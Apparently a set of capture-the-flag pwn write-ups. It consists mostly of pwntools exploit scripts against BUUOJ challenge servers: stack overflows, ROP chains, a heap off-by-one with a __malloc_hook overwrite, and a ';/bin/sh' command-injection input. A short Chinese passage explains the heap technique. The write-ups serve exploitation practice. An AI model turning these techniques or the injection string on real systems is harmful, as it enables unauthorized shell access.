picoctf_2018_rop chain
rop
from pwn import * p=remote('node3.buuoj.cn',25933) p.recvuntil('input> ') payload=b'p'*0x18+b'pppp'+p32(0x80485CB)+p32(0x80485D8)+p32(0x804862B)+p32(0xBAAAAAAD)+p32(0xDEADBAAD) p.sendline(payload) p.interactive()
jarvisoj_test_your_memory
from pwn import * #p=process('./memory') p=remote('node3.buuoj.cn',26737) func=0x80485BD catflag=0x80487e0 payload=b'p'*0x13+b'pppp'+p32(func)+p32(0x8048677)+p32(catflag) p.sendline(payload) p.interactive()
bjdctf_2020_router
from pwn import * #p=process('./bjdctf_2020_router') p=remote('node3.buuoj.cn',27553) p.recv() p.sendline('1') p.sendline(';/bin/sh') p.interactive()
picoctf_2018_buffer_overflow
from pwn import * p=remote('node3.buuoj.cn',26135) payload=b'a'*0x28+b'b'*0x4+p32(0x80485CB) p.sendline(payload) p.interactive()
roarctf_2019_easy_pwn
比较基础的堆题,但还是可以说一下
- 首先分析程序发现有单字节溢出漏洞,所以我们可以通过修改下一块chunk的大小来造成overlap,所以我先申请了一块0x88的chunk,两个0x68的chunk和1个0x10的chunk来隔离
- 然后通过单字节溢出漏洞修改第二个chunk的大小为chunk 2+chunk3的大小,然后删除chunk2,在申请一个跟chunk2大小一样的chunk,就可以leak libc
- 泄露完libc后,此时的chunk3已经是double free了,用fast attack来劫持malloc_hook函数,我们在之前有一个0x68的chunk是已经在bin里面的 这时申请回来,再把chunk3释放掉,再通过edit修改chunk3的fd指针,然后劫持malloc_hook函数
from pwn import * #p = process('./roarctf_2019_easy_pwn') p = remote('node3.buuoj.cn', 26623) libc=ELF('../libc-2.23.so') def add(size): #p.sendlineafter('choice: ', '1') p.recvuntil('choice: ') p.sendline('1') p.sendlineafter('size: ', str(size)) def edit(index, size, content): p.sendlineafter('choice: ', '2') p.sendlineafter('index: ', str(index)) p.sendlineafter('size: ', str(size)) p.sendafter('content', content) def delete(index): p.sendlineafter('choice: ', '3') p.sendlineafter('index: ', str(index)) def show(index): p.sendlineafter('choice: ', '4') p.sendlineafter('index: ', str(index)) add(0x88)#0 add(0x68)#1 add(0x68)#2 add(0x10)#3 edit(0,0x88+0xa,b'p'*0x88+p8(0xe1)) delete(1) add(0x68)#1 show(2) libc.address=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))-0x3c4b78 print('libc:'+hex(libc.address)) malloc_hook=libc.symbols['__malloc_hook'] realloc=libc.symbols['__libc_realloc'] one_gadget=libc.address+0x4526a add(0x68)#4 delete(4) edit(2,0x8,p64(malloc_hook-0x23)) add(0x68)#4 add(0x68)#5 payload=b'p'*0xb+p64(one_gadget)+p64(realloc) edit(5,len(payload),payload) #gdb.attach(p) p.interactive()
pwnable_orw
jarvisoj_level1
环境出问题了,不过并不影响答题,通过栈溢出,用write函数leak libc,然后在getshell